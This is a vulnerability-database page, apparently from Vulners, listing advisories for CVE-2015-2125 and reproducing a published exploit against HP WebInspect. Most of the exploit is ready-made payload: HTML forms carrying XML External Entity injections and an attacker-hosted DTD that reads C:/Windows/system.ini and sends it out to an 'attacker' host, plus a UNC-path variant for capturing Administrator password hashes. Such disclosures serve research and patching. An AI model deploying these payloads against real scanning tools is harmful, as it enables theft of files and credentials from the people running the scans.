| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2015-2125 | 7 Jun 201518:59 | – | attackerkb | |
| Unspecified Authorized Access Vulnerability in HP WebInspect | 7 Jun 201500:00 | – | cnvd | |
| CVE-2015-2125 | 7 Jun 201518:00 | – | cve | |
| CVE-2015-2125 | 7 Jun 201518:00 | – | cvelist | |
| HP WebInspect 10.4 - XML External Entity Injection | 10 Jun 201500:00 | – | exploitpack | |
| HP WebInspect XXE Unauthorized Information Disclosure | 15 Jun 201500:00 | – | nessus | |
| CVE-2015-2125 | 7 Jun 201518:59 | – | nvd | |
| HP WebInspect 10.4 XML External Entity | 12 Jun 201500:00 | – | packetstorm | |
| Design/Logic Flaw | 7 Jun 201518:59 | – | prion | |
| [security bulletin] HPSBGN03343 rev.1 - HP WebInspect, Remote Unauthorized Access | 8 Jun 201500:00 | – | securityvulns |
# Exploit Title: HP WebInspect - XML External Entity
# Date: 23\04\2015
# Exploit Author: Jakub Palaczynski
# Vendor Homepage: http://www.hp.com/
# Version: 10.4, 10.3, 10.2, 10.1, 10.0, 9.x, 8.x, 7.x
# CVE : CVE-2015-2125
1. Create website that exploits vulnerability.
1.1. Website that steals files using OOB technique:
1.1.1. Website that triggers vulnerability:
<html>
<body>
<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"http://attacker/file.xml">%25remote;%25int;%25trick;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>
</body>
</html>
1.1.2. file.xml file that is served on attacker's host. This file specifies which file should be retrieved from remote host and where content of that file should be sent:
<!ENTITY % payl SYSTEM "file:///C:/Windows/system.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://attacker/?p=%payl;'>">
1.2. Website that steals hashes of Administrator user:
1.2.1. Website that triggers vulnerability:
<html>
<body>
<form action="/" method="POST">
<input type="hidden" name="payload" value='<?xml+version="1.0"+encoding="utf-8"?><!DOCTYPE+m+[+<!ENTITY+%25+remote+SYSTEM+"\\attacker\path\file.txt">%25remote;]><tag></tag>'/>
<input type="submit" value="Submit" />
</form>
</body>
</html>
1.2.2. Attacker needs to start tool on the server that captures hashes.
2. Exploit is triggered while profiling or scanning created application using vulnerable versions of HP WebInspect.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation